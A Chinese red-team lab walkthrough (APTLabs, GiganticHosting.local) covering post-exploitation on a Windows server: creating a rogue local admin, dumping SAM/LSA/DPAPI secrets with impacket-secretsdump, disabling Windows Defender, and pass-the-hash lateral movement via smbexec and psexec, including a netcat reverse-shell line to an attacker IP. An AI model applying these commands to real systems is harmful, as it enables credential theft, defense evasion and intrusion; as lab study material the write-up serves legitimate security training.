目 录CONTENT

文章目录

红队行动Live-20241214

Administrator
2025-07-24 / 0 评论 / 0 点赞 / 8 阅读 / 0 字

目录

1. 开篇:获取高权限 Shell 后的首要任务

2. 持久化实践:创建本地管理员账户

3. 凭据转储:secretsdump.py 深度解析

4. 手动凭据转储方法

5. 横向移动与 Shell 稳定性提升

6. 总结与后续内容预告


1. 开篇:获取高权限 Shell 后的首要任务

1.1 当前状态与挑战

  • 当前立足点: 我们已通过 ServiceDesk 的后台功能,在 192.168.21.123 (servicedesk.gigantichosting.local) 这台机器上获得了一个 nt authority\system 权限的 Shell 。这是我们在新子域中获得的第一个稳定立足点。

  • 当前 Shell 的问题:

    • 访问不便: 每次进入都需要通过 ServiceDesk 后台的自定义任务触发,操作繁琐 。

    • 隐蔽性: 虽然相对无痕,但每次都需要执行一系列操作,可能会增加暴露风险 。

  • 首要目标: 建立更稳定、便捷的持久化访问机制,并利用当前的高权限尽可能多地收集信息 。

1.2 持久化的重要性与思考

  • 持久化定义: 确保在初始访问丢失后(如目标重启、会话断开、后门被清除),仍能重新进入目标系统。

  • 为什么重要:

    • 避免前功尽弃: 初始访问的获取成本高昂(如钓鱼、漏洞利用),持久化是保护战果的关键 。

    • 应对目标回滚: 在某些场景下(如 DNS 服务器),管理员可能会回滚系统快照,导致植入的后门丢失。需要有多样化的持久化方案 。

  • 持久化方案考量:

    • 隐蔽性: 创建与现有账户命名规则相似的用户、使用无文件后门等 。

    • 稳定性: 确保后门在系统重启或更新后依然有效。

    • 冗余性: 建立多种持久化方式,互为备份 。

  • 常见持久化方式:

    • 新建用户: 最直接的方式,但容易被发现 。

    • 凭据转储: 获取现有用户的哈希或票据,通过哈希传递 (Pass-the-Hash) 或票据传递 (Pass-the-Ticket) 等方式登录 。

    • 其他: 计划任务、服务、WMI 后门、修改注册表等。

1.3 本周核心内容规划

  • 凭据转储与持久化: 实践操作,并深入理解转储出的各类凭据信息。

  • 域内枚举: 利用新获得的权限和凭据进行更深入的域内信息收集。

  • 核心工具学习:

    • Impacket (secretsdump.py): 用于凭据转储。

    • PowerView: 用于域内枚举 (后续讲解)。

    • Rubeus: 用于 Kerberos 票据操作 (后续讲解)。

2. 持久化实践:创建本地管理员账户

2.1 操作目标与命令

  • 目标:servicedesk 机器上创建一个本地管理员账户,作为一种简单直接的持久化和后续操作的跳板 。

  • 查看系统信息: 这台机器在域内Domain:GiganticHosting.local

    C:\ProgramData>whoami
    nt authority\system
    
    C:\ProgramData>hostname
    servicedesk
    
    C:\ProgramData>systeminfo
    Host Name:                 SERVICEDESK
    OS Name:                   Microsoft Windows Server 2019 Standard
    OS Version:                10.0.17763 N/A Build 17763
    
    Original Install Date:     3/12/2020, 11:32:26 AM
    System Boot Time:          7/24/2025, 3:29:39 AM
    System Type:               x64-based PC
    
    Time Zone:                 (UTC-08:00) Pacific Time (US & Canada)
    Page File Location(s):     C:\pagefile.sys
    
    Domain:                    GiganticHosting.local
  • 操作命令:

    • 创建用户:

      • 命令成功完成 。

      • 注意: 设置一个符合目标密码策略的复杂密码,避免因密码过于简单而创建失败 。

    # 添加账号
    PS C:\programdata> net user redpen RedteamN0t3s! /add
    net user redpen RedteamN0t3s! /add
    The command completed successfully.
    # 添加到域管理员组
    PS C:\programdata> net group "Domain Admins" redpen /add
    net group "Domain Admins" redpen /add
    This command can be used only on a Windows Domain Controller.
    
    More help is available by typing NET HELPMSG 3515.
    # 失败-只有域控可以添加域管理员组
    PS C:\programdata> 
    PS C:\programdata> net localgroup administrators redpen /add
    net localgroup administrators redpen /add
    The command completed successfully.
    
    PS C:\programdata> 
    • 添加到管理员组:

    PS C:\programdata> net localgroup administrators redpen /add
    net localgroup administrators redpen /add
    The command completed successfully.
    
    PS C:\programdata> 
    • 命令成功完成 。

2.2 本地用户与域用户枚举

  • 查看本地用户: 确认 redpen 用户已成功创建。

    • 输出显示

      Administrator, redpen, Guest 等本地账户 。

  • 查看域用户: servicedesk 作为域成员,可以查询域内用户。

    • 命令将在域控制器

      dc.GiganticHosting.local 上处理 。

    • 输出显示了

    PS C:\programdata> net user /domain
    net user /domain
    The request will be processed at a domain controller for domain GiganticHosting.local.
    
    User accounts for \\dc.GiganticHosting.local
    -------------------------------------------------------------------------------
    a.miller                 Administrator            b.davis                  
    c.jackson                d.johson                 d.marshall               
    d.taylor                 e.marin                  f.allen                  
    f.sanders                g.quimbly                Guest                    
    j.adams                  j.johson                 j.marin                  
    j.moore                  j.morgan                 j.perez                  
    j.smith                  k.garcia                 k.jackson                
    krbtgt                   l.larsson                l.rodriguez              
    m.doe                    m.moore                  r.jackson                
    r.martin                 r.tayor                  r.thompson               
    s.helmer                 s.mooire                 s.svensson               
    t.martin                 t.scott                  t.trump                  
    w.thompson               
    The command completed with one or more errors.
    
    PS C:\programdata> 
    • GiganticHosting.local 域中的大量用户,如 a.miller, j.smith, krbtgt 等 。

3. 凭据转储:secretsdump.py 深度解析

3.1 secretsdump.py 工具概述

  • 安装和帮助,需要用到impacket库,先把impacket导入到

  • PATH export PATH=/usr/share/doc/python3-impacket/examples:$PATH

    pip3 install --upgrade pip setuptools wheel
    pip3 install impacket
    
    安装完成后可测试命令:
    impacket-secretsdump -h
  • 定义: Impacket 工具集中的一个核心工具,用于从 Windows 系统中远程或本地提取敏感凭据信息 。

  • 命令: impacket-secretsdump redpen:'RedteamN0t3s!'@servicedesk.gigantichosting.local

  • 提取内容:

    ┌──(root㉿kali)-[~/Desktop/APTLabs/credentials]
    └─# impacket-secretsdump redpen:'RedteamN0t3s!'@servicedesk.gigantichosting.local
    /root/.pyenv/versions/3.10.12/lib/python3.10/site-packages/impacket/version.py:12: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
      import pkg_resources
    Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 
    
    [*] Service RemoteRegistry is in stopped state
    [*] Starting service RemoteRegistry
    [*] Target system bootKey: 0x2f9e61d80e453015bfa384e316ca079d
    [*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
    Administrator:500:aad3b435b51404eeaad3b435b51404ee:0405e42853c0f2cb0454964601f27bae:::
    Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    redpen:1000:aad3b435b51404eeaad3b435b51404ee:d8dcd3fc5608fb011ea39a4880ca1239:::
    [*] Dumping cached domain logon information (domain/username:hash)
    GIGANTICHOSTING.LOCAL/Administrator:$DCC2$10240#Administrator#cae1d67f9586822dcc694e51b0362937: (2020-04-17 12:49:02)
    [*] Dumping LSA Secrets
    [*] $MACHINE.ACC 
    GIGANTICHOSTING\SERVICEDESK$:aes256-cts-hmac-sha1-96:7c0cdacf46d919b924f6c13f6e82d54ce7668c9c35d59c4ef731815534c6c661
    GIGANTICHOSTING\SERVICEDESK$:aes128-cts-hmac-sha1-96:442fd44e70dc9756515672802d8fc436
    GIGANTICHOSTING\SERVICEDESK$:des-cbc-md5:abb9ef4f5eb33bd0
    GIGANTICHOSTING\SERVICEDESK$:plain_password_hex:5700430029006d006b00610078006700440046002e003b00770036005b00740024007600220056002a00640070002f005200790041005a005600690048006400620039004400220078006a003800640035005e0059003d0072002e00440073003a006e00630041002f004d002d002c0069005700710024005100470064005d003000780071005a003800680051002b006c002a004d003a003600540071004400590045003c004e006c005a00390030006a0042007600460058005c00420032002700600023002e004000620051007a006e0023006a005700610051002e0057006a004e00510073002f002c0038003e00
    GIGANTICHOSTING\SERVICEDESK$:aad3b435b51404eeaad3b435b51404ee:b2e7331134cd40baef89bb017371e5b1:::
    [*] DPAPI_SYSTEM 
    dpapi_machinekey:0x5813f2f0f10d371197c535ba760d32f33bbdb4da
    dpapi_userkey:0x4fb331c4b5e7f88084bc0798bfb84470ad3c0956
    [*] NL$KM 
     0000   88 EA 0F EE 17 85 DF A7  30 AB D8 64 CB CE 18 23   ........0..d...#
     0010   94 E5 DE 42 E4 81 DB 89  40 C7 D9 83 2C 88 E3 2B   ...B....@...,..+
     0020   E5 0B E7 F7 CC FE 7A 6E  C4 90 C5 A1 FB 35 AD 00   ......zn.....5..
     0030   43 06 30 9A EA 21 52 79  DD 7E A8 B9 7B 3D 74 B1   C.0..!Ry.~..{=t.
    NL$KM:88ea0fee1785dfa730abd864cbce182394e5de42e481db8940c7d9832c88e32be50be7f7ccfe7a6ec490c5a1fb35ad004306309aea215279dd7ea8b97b3d74b1
    [*] Cleaning up... 
    [*] Stopping service RemoteRegistry
                                                                                                                                                                           
    ┌──(root㉿kali)-[~/Desktop/APTLabs/credentials]
    └─# 
    • NTDS.dit: Active Directory 数据库,包含所有域用户的 NTLM 哈希等信息 。

    • SAM 数据库: 存储本地账户的密码哈希 。

    • LSA Secrets: 本地安全机构存储的机密,如服务账户密码、缓存的域凭据等 。

    • 注册表蜂巢 (Hives): SYSTEM 和 SECURITY 注册表文件,包含解密 SAM 和 LSA Secrets 所需的密钥 。

  • 价值: 获取的哈希可用于哈希传递、离线破解等后续攻击,是横向移动和权限提升的关键步骤 。

3.1.1 去除python警告!

  • 警告原因
    是因为 impacket 使用了 pkg_resources(这是 setuptools 提供的老 API),但它已被官方标记为即将废弃。

  • 解决方法: 全局忽略 UserWarning

  • 修改文件: vim ~/.pyenv/versions/3.10.12/lib/python3.10/site-packages/impacket/version.py

  • 在第12行插入以下内容

import warnings
warnings.filterwarnings("ignore", category=UserWarning)
import pkg_resources

3.2 工作原理

  • 协议: 主要利用 SMB 和 RPC 协议进行远程访问 。

  • 提取方式:

    • 远程提取: 使用管理员凭据登录目标,通过网络协议访问并下载 SAM, SYSTEM, NTDS.dit 等文件 。

    • 本地提取: 在已控目标上直接运行,从本地文件系统读取 。

    • 卷影副本 (VSS): 为了安全地读取正在被系统使用的文件(如 NTDS.dit),secretsdump.py 可以操作卷影副本来获取文件快照,避免文件锁定和数据损坏 。

3.3 执行命令与参数详解

  • 执行环境: 在 Kali 攻击机上,利用新创建的 redpen 管理员账户,对 servicedesk (192.168.21.123) 进行远程凭据转储。

  • 精简命令:

  • 详细命令 (推荐):

    • -pwd-last-set: 显示用户密码的最后设置时间,有助于识别长期未更新密码的陈旧账户 。

    • -user-status: 显示账户状态(如禁用、过期),用于识别风险账户 。

    • -history: 提取账户的密码历史记录哈希,有助于分析密码复用模式和猜测密码规则 。

┌──(root㉿kali)-[~/Desktop/APTLabs/credentials]
└─# impacket-secretsdump sercicedesk.gigantichosting.local/redpen:'RedteamN0t3s!'@servicedesk.gigantichosting.local -pwd-last-set -user-status -history 
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x2f9e61d80e453015bfa384e316ca079d
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0405e42853c0f2cb0454964601f27bae:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
redpen:1000:aad3b435b51404eeaad3b435b51404ee:d8dcd3fc5608fb011ea39a4880ca1239:::
[*] Dumping cached domain logon information (domain/username:hash)
GIGANTICHOSTING.LOCAL/Administrator:$DCC2$10240#Administrator#cae1d67f9586822dcc694e51b0362937: (2020-04-17 12:49:02)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC 
GIGANTICHOSTING\SERVICEDESK$:aes256-cts-hmac-sha1-96:7c0cdacf46d919b924f6c13f6e82d54ce7668c9c35d59c4ef731815534c6c661
GIGANTICHOSTING\SERVICEDESK$:aes128-cts-hmac-sha1-96:442fd44e70dc9756515672802d8fc436
GIGANTICHOSTING\SERVICEDESK$:des-cbc-md5:abb9ef4f5eb33bd0
GIGANTICHOSTING\SERVICEDESK$:plain_password_hex:5700430029006d006b00610078006700440046002e003b00770036005b00740024007600220056002a00640070002f005200790041005a005600690048006400620039004400220078006a003800640035005e0059003d0072002e00440073003a006e00630041002f004d002d002c0069005700710024005100470064005d003000780071005a003800680051002b006c002a004d003a003600540071004400590045003c004e006c005a00390030006a0042007600460058005c00420032002700600023002e004000620051007a006e0023006a005700610051002e0057006a004e00510073002f002c0038003e00
GIGANTICHOSTING\SERVICEDESK$:aad3b435b51404eeaad3b435b51404ee:b2e7331134cd40baef89bb017371e5b1:::
[*] $MACHINE.ACC_history 
GIGANTICHOSTING\SERVICEDESK$:aes256-cts-hmac-sha1-96:7c0cdacf46d919b924f6c13f6e82d54ce7668c9c35d59c4ef731815534c6c661
GIGANTICHOSTING\SERVICEDESK$:aes128-cts-hmac-sha1-96:442fd44e70dc9756515672802d8fc436
GIGANTICHOSTING\SERVICEDESK$:des-cbc-md5:abb9ef4f5eb33bd0
GIGANTICHOSTING\SERVICEDESK$:plain_password_hex:5700430029006d006b00610078006700440046002e003b00770036005b00740024007600220056002a00640070002f005200790041005a005600690048006400620039004400220078006a003800640035005e0059003d0072002e00440073003a006e00630041002f004d002d002c0069005700710024005100470064005d003000780071005a003800680051002b006c002a004d003a003600540071004400590045003c004e006c005a00390030006a0042007600460058005c00420032002700600023002e004000620051007a006e0023006a005700610051002e0057006a004e00510073002f002c0038003e00
GIGANTICHOSTING\SERVICEDESK$:aad3b435b51404eeaad3b435b51404ee:b2e7331134cd40baef89bb017371e5b1:::
[*] DPAPI_SYSTEM 
dpapi_machinekey:0x5813f2f0f10d371197c535ba760d32f33bbdb4da
dpapi_userkey:0x4fb331c4b5e7f88084bc0798bfb84470ad3c0956
[*] DPAPI_SYSTEM_history 
dpapi_machinekey:0xe4386ec5f1f2123b4e9cba7c513a8cd80038806e
dpapi_userkey:0xa6022e274922cca8e233f3ac58dc9d947295c825
[*] NL$KM 
 0000   88 EA 0F EE 17 85 DF A7  30 AB D8 64 CB CE 18 23   ........0..d...#
 0010   94 E5 DE 42 E4 81 DB 89  40 C7 D9 83 2C 88 E3 2B   ...B....@...,..+
 0020   E5 0B E7 F7 CC FE 7A 6E  C4 90 C5 A1 FB 35 AD 00   ......zn.....5..
 0030   43 06 30 9A EA 21 52 79  DD 7E A8 B9 7B 3D 74 B1   C.0..!Ry.~..{=t.
NL$KM:88ea0fee1785dfa730abd864cbce182394e5de42e481db8940c7d9832c88e32be50be7f7ccfe7a6ec490c5a1fb35ad004306309aea215279dd7ea8b97b3d74b1
[*] NL$KM_history 
 0000   88 EA 0F EE 17 85 DF A7  30 AB D8 64 CB CE 18 23   ........0..d...#
 0010   94 E5 DE 42 E4 81 DB 89  40 C7 D9 83 2C 88 E3 2B   ...B....@...,..+
 0020   E5 0B E7 F7 CC FE 7A 6E  C4 90 C5 A1 FB 35 AD 00   ......zn.....5..
 0030   43 06 30 9A EA 21 52 79  DD 7E A8 B9 7B 3D 74 B1   C.0..!Ry.~..{=t.
NL$KM_history:88ea0fee1785dfa730abd864cbce182394e5de42e481db8940c7d9832c88e32be50be7f7ccfe7a6ec490c5a1fb35ad004306309aea215279dd7ea8b97b3d74b1
[*] Cleaning up... 
[*] Stopping service RemoteRegistry
┌──(root㉿kali)-[~/Desktop/APTLabs]
└─# impacket-secretsdump Administrator@@servicedesk.gigantichosting.local -hashes :0405e42853c0f2cb0454964601f27bae
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x2f9e61d80e453015bfa384e316ca079d
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0405e42853c0f2cb0454964601f27bae:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping cached domain logon information (domain/username:hash)
GIGANTICHOSTING.LOCAL/Administrator:$DCC2$10240#Administrator#cae1d67f9586822dcc694e51b0362937: (2020-04-17 12:49:02)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC 
GIGANTICHOSTING\SERVICEDESK$:aes256-cts-hmac-sha1-96:7c0cdacf46d919b924f6c13f6e82d54ce7668c9c35d59c4ef731815534c6c661
GIGANTICHOSTING\SERVICEDESK$:aes128-cts-hmac-sha1-96:442fd44e70dc9756515672802d8fc436
GIGANTICHOSTING\SERVICEDESK$:des-cbc-md5:abb9ef4f5eb33bd0
GIGANTICHOSTING\SERVICEDESK$:plain_password_hex:5700430029006d006b00610078006700440046002e003b00770036005b00740024007600220056002a00640070002f005200790041005a005600690048006400620039004400220078006a003800640035005e0059003d0072002e00440073003a006e00630041002f004d002d002c0069005700710024005100470064005d003000780071005a003800680051002b006c002a004d003a003600540071004400590045003c004e006c005a00390030006a0042007600460058005c00420032002700600023002e004000620051007a006e0023006a005700610051002e0057006a004e00510073002f002c0038003e00
GIGANTICHOSTING\SERVICEDESK$:aad3b435b51404eeaad3b435b51404ee:b2e7331134cd40baef89bb017371e5b1:::
[*] DPAPI_SYSTEM 
dpapi_machinekey:0x5813f2f0f10d371197c535ba760d32f33bbdb4da
dpapi_userkey:0x4fb331c4b5e7f88084bc0798bfb84470ad3c0956
[*] NL$KM 
 0000   88 EA 0F EE 17 85 DF A7  30 AB D8 64 CB CE 18 23   ........0..d...#
 0010   94 E5 DE 42 E4 81 DB 89  40 C7 D9 83 2C 88 E3 2B   ...B....@...,..+
 0020   E5 0B E7 F7 CC FE 7A 6E  C4 90 C5 A1 FB 35 AD 00   ......zn.....5..
 0030   43 06 30 9A EA 21 52 79  DD 7E A8 B9 7B 3D 74 B1   C.0..!Ry.~..{=t.
NL$KM:88ea0fee1785dfa730abd864cbce182394e5de42e481db8940c7d9832c88e32be50be7f7ccfe7a6ec490c5a1fb35ad004306309aea215279dd7ea8b97b3d74b1
[*] Cleaning up... 
[*] Stopping service RemoteRegistry

3.4 secretsdump.py 输出内容逐项分析

3.4.1 服务状态与系统 BootKey

  • 远程注册表服务 (Remote Registry): secretsdump.py 需要访问注册表来获取解密密钥。如果该服务未运行,工具会自动尝试启动它 。

  • 系统 BootKey: [*] Target system bootkey: 0x2f9e... 。这是 Windows 安全架构的根密钥,用于派生解密 SAM 和 LSA Secrets 所需的密钥 。获取 BootKey 是成功解密的前提。

3.4.2 本地 SAM 哈希

  • 格式: 用户名:RID:LM哈希:NTLM哈希:::

  • 示例: Administrator:500:aad3b...:0405e...:::

  • 字段解析:

    • 用户名 (UID):Administrator

    • 相对标识符 (RID): 账户的唯一标识符,如 500

    • 熟知 RID: 某些 RID 是固定的,具有特殊含义,必须能够识别 。

      | RID | 描述 |

      | :-- | :--- |

      | 500 | Administrator 账户 |

      | 501 | Guest 账户 |

      | 502 | KRBTGT 账户 (域控制器) |

      | 512 | Domain Admins 组 |

      | 513 | Domain Users 组 |

    • LM 哈希: aad3b435b51404eeaad3b435b51404ee 是一个特殊的空密码的 LM 哈希值,现代系统通常禁用 LM 哈希,因此显示此值是正常现象 。

    • NTLM 哈希: 0405e... 是主要的密码哈希,可用于哈希传递或离线破解 。

3.4.3 缓存的域登录信息 (Cached Domain Logon Information)

  • 来源: Windows 会缓存最近登录的域用户的凭据,以便在无法连接到 DC 时也能登录 。

  • 格式: $DCC2$迭代次数#盐#哈希值

  • 示例: GIGANTICHOSTING.LOCAL/Administrator:$DCC2$10240#Administrator#cae1d...

  • 字段解析:

    • 哈希类型: DCC2 (MS-Cache v2),比旧版 DCC 更强 。

    • 迭代次数: 10240,增加了破解难度 。

    • 盐 (Salt): 通常是用户名,如 Administrator,防止彩虹表攻击 。

    • 哈希值: cae1d...

  • 价值: 即使无法访问 DC,破解缓存凭据也能获得用户访问权限 。

3.4.4 LSA Secrets

  • 来源: 本地安全机构 (LSA) 存储的机密信息,如服务账户密码、计算机账户密钥等 。

  • 示例: [*] $MACHINE.ACC 部分。

  • 字段解析:

    • 账户名: GIGANTICHOSTING\SERVICEDESK$$ 后缀表示这是计算机账户

    • Kerberos 密钥: 输出了该计算机账户的多种 Kerberos 加密类型的密钥,如 aes256-cts-hmac-sha1-96 ,

      aes128-cts-hmac-sha1-96 ,

      des-cbc-md5

    • 明文密码 (Hex): plain_password_hex 是计算机账户密码的十六进制表示。

    • 历史记录: _history 部分显示了历史密钥,用于分析密码策略或恢复旧数据 。

3.4.5 DPAPI 系统密钥

  • DPAPI (数据保护 API): Windows 用于加密用户敏感数据(如浏览器保存的密码、证书私钥)的机制 。

  • 密钥类型:

    • dpapi_machinekey: 机器级密钥,对该机器所有用户通用 。

    • dpapi_userkey: 用户级密钥,每个用户唯一 。

  • 价值: 获取这些密钥后,可以解密由 DPAPI 保护的各类用户数据 。

3.4.6 NL$KM (Netlogon Key Material)

  • 定义: 用于保护 Netlogon 服务(特别是 DC 之间安全通信)的密钥材料 。

  • 价值: 可用于解密 Netlogon 会话流量,可能获取更多认证凭据 。

  • 格式: 以十六进制和 ASCII 混合形式展示,0000, 0010 等是偏移量 。

3.4.7 清理过程 (Cleanup)

  • 目的: 运行结束后,secretsdump.py 会尝试将目标系统恢复到初始状态,减少操作痕迹 。

  • 操作:

    • 停止服务: 停止之前为操作而启动的服务(如远程注册表服务) 。

    • 删除临时文件: 删除远程系统上创建的临时文件(如 SAM/SYSTEM/NTDS.dit 的备份) 。

    • 关闭网络连接: 释放与远程系统建立的连接 。

4. 手动凭据转储方法

  • 前提: 拥有目标系统的管理员权限 。

  • SAM 哈希提取:

    1. %SystemRoot%\system32\config 目录导出 SAMSYSTEM 注册表文件 。

    2. 使用mimikatzsamdump2 等工具,利用 SYSTEM 文件解密 SAM 文件,提取哈希 。

  • LSA Secrets 提取:

    1. %SystemRoot%\system32\config 目录导出 SECURITYSYSTEM 文件 。

    2. 使用mimikatz 等工具从这些文件中提取 LSA Secrets 和缓存凭据 。

  • NTDS.dit 提取 (DC上):

    1. 使用 VSS (卷影复制服务) 创建系统快照 。

    2. 从快照中复制NTDS.dit 文件和 SYSTEM 注册表蜂巢 。

    3. 使用ntdsutil, esentutl, 或 mimikatz 等工具处理 NTDS.dit 文件,提取域账户哈希 。

5. 横向移动与 Shell 稳定性提升

5.1 目标:获得更便捷的交互式 Shell

  • 当前通过 ServiceDesk 获取的 Shell 不稳定且访问繁琐。

  • 目标是利用转储出的 Administrator 账户哈希,通过更直接的方式(如 WinRM, PSEXEC)获取一个稳定的交互式 Shell。

5.2 尝试 evil-winrm (基于 WinRM)

  • WinRM 协议: Windows 远程管理服务,使用 5985 (HTTP) 和 5986 (HTTPS) 端口 。

  • 验证端口:

    • servicedesk 的 SYSTEM Shell 中执行 netstat -ano 。结果显示

      5985 端口正在监听

    • 在 Kali 攻击机上使用

      nmap 扫描 192.168.21.123 的 5985 端口 。结果显示端口状态为

      filtered (已过滤) 。

  • 结论: 5985 端口虽然在本地开放,但被防火墙等设备阻断,从外部无法访问。因此,evil-winrm 无法直接使用 。

    • 执行后出现

      HTTPClient::ReceiveTimeoutError 错误 。

5.3 尝试 smbexec (基于 SMB/RPC)

  • 方案: WinRM 不通,但 SMB (445) 端口是开放的,因此可以尝试基于 SMB/RPC 的横向移动工具,

  • smbexec

5.4 应对防御:关闭 Windows Defender

  • 解决方案: 必须先禁用目标机的防御。

  • 操作: 回到之前通过 ServiceDesk 获取的 SYSTEM Shell,执行 PowerShell 命令来关闭 Defender 的多项保护功能 。

  • 参数详解:

    • -DisableRealtimeMonitoring $true: 禁用实时监控 。

    • -DisableBehaviorMonitoring $true: 关闭行为监控 。

    • -DisableBlockAtFirstSeen $true: 禁用“首次见到即阻止”功能 。

    • -DisableIOAVProtection $true: 禁用对下载内容的检查 。

    • -DisablePrivacyMode $true: 关闭隐私模式 。

    • -DisableIntrusionPreventionSystem $true: 禁用入侵防御系统 。

    • -DisableScriptScanning $true: 关闭脚本扫描 。

    • -SubmitSamplesConsent 0: 禁用自动样本提交 。

5.5 成功横向移动与 Shell 优化

  • 执行 smbexec

  • rlwrap impacket-smbexec administrator@servicedesk.gigantichosting.local -hashes 0:0405e42853c0f2cb0454964601f27bae

  • 结果: 成功获取一个 nt authority\system半交互式 Shell 。

  • 成功进入后第一件事就是关闭防御

  • powershell -command "set-mppreference -disablerealtimemonitoring $true"

  • 因为是个半交互式的shell所以使用powershell -command "命令",

┌──(root㉿kali)-[~/Desktop/APTLabs]
└─# rlwrap impacket-smbexec administrator@servicedesk.gigantichosting.local -hashes 0:0405e42853c0f2cb0454964601f27bae
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>powershell -command "set-mppreference -disablerealtimemonitoring $true"

C:\Windows\system32>

  • Shell 优化:

    • rlwrap: 在 impacket 命令前加上 rlwrap 可以提供历史记录和更好的行编辑功能,提升交互体验 。

5.7 smbexec 失败原因

smbexec失败原因,STATUS_SHARING_VIOLATION

STATUS_SHARING_VIOLATION (0xc0000043) 错误,

表示目标文件或资源已被其他进程独占性占用,导致无法通过 SMB 打开访问

┌──(root㉿kali)-[~/Desktop/APTLabs]
└─# rlwrap impacket-smbexec administrator@servicedesk.gigantichosting.local -hashes 0:0405e42853c0f2cb0454964601f27bae
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[-] SMB SessionError: code: 0xc0000043 - STATUS_SHARING_VIOLATION - A file cannot be opened because the share access flags are incompatible.

排除原因

PS C:\Windows\Temp> Get-WmiObject Win32_Service | Where-Object { $_.PathName -like "*\\*" } | Format-Table Name, PathName, State
Name     PathName                                                                                                      
----     --------                                                                                                      
EksNbZRU C:\Windows\system32\cmd.exe /Q /c echo cd  ^> \\SERVICEDESK\C$\__output 2^>^&1 > C:\Windows\hOzQTGrz.bat & ...
PS C:\Windows\Temp> 
PS C:\windows> gci
gci
    Directory: C:\windows
Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
d-----        9/15/2018   2:06 AM                ADFS                                                                                                                            
d-----        7/18/2024   4:10 PM                apppatch                                                              
d-----        7/18/2024   4:10 PM                Boot                                                                  
d-----        3/12/2020  12:33 PM                debug                                                                                                                         
d-----        9/15/2018  12:12 AM                drivers                                                               
d-----        9/15/2018   2:06 AM                en-US                                                                 
d-----        9/15/2018  12:12 AM                System                                                                
d-----         8/3/2025   9:14 AM                System32                                                                                                                       
d-----        7/18/2024   4:10 PM                SysWOW64                                                              
d-----         1/1/2020   6:17 PM                Tasks                                                                 
d-----         8/3/2025   9:45 AM                Temp                                                                                                                        
-a----        9/15/2018  12:09 AM          43131 mib.bin                                                               
-a----        7/18/2024   3:28 PM         254464 notepad.exe                                                           
-a----         8/3/2025   9:45 AM             96 NUcARFCS.bat                                                          
-a----        7/19/2024   4:53 AM           2724 PFRO.log                                                              
-a----        7/18/2024   3:29 PM         357888 regedit.exe                                                                                                          
-a----        9/15/2018  12:11 AM            219 system.ini                                                            
-a----         1/1/2020   6:17 PM            119 win.ini                                                               
-a----         8/3/2025   9:39 AM            276 WindowsUpdate.log                                                     
PS C:\windows> 


这个bat就是smbexec上传的bat
NUcARFCS.bat NUcARFCS.bat 内容 C:\programdata\nc641.exe 10.10.16.111 443 -e powershell.exe > \\SERVICEDESK\C$\__output 2>&1

尝试

# 查看所有活动的 SMB 会话
Get-SmbSession

PS C:\ProgramData> Get-SmbSession
SessionId    ClientComputerName ClientUserName               NumOpens
---------    ------------------ --------------               --------
618475290701 [::1]              GIGANTICHOSTING\SERVICEDESK$ 0
PS C:\ProgramData>

# 查看被远程打开的文件
Get-SmbOpenFile

关闭
Get-SmbSession -ClientComputerName "::1" | Close-SmbSession -Force
直接使用 SessionId 来关闭会话。
Close-SmbSession -SessionId 618475290701 -Force

删除文件,但是无法删除因为被占用
\\SERVICEDESK\C$\__output

5.7 psexec 失败原因

无法直接使用psexec是因为目标机器是开启了 Windows Defender 的实时防御,所以前面要先使用smbexec进去关闭防御然后再用psexec

  • 根本原因是 Windows Defender 的实时防御psexec 会上传一个可执行文件 (.exe) 到 ADMIN$ 共享并作为服务运行,这个行为很容易被 Defender 检测并拦截 。

  • powershell这种交互式中即可直接使用这样的命令powershell Set-MpPreference -DisableRealtimeMonitoring $true

┌──(root㉿kali)-[~/Desktop/APTLabs/credentials]
└─# rlwrap impacket-psexec administrator@servicedesk.gigantichosting.local -hashes 0:0405e42853c0f2cb0454964601f27bae
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Requesting shares on servicedesk.gigantichosting.local.....
[*] Found writable share ADMIN$
[*] Uploading file qjZmFwjZ.exe
[*] Opening SVCManager on servicedesk.gigantichosting.local.....
[*] Creating service pkOH on servicedesk.gigantichosting.local.....
[*] Starting service pkOH.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.6054]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> help

 lcd {path}                 - changes the current local directory to {path}
 exit                       - terminates the server process (and this session)
 lput {src_file, dst_path}   - uploads a local file to the dst_path RELATIVE to the connected share (ADMIN$)
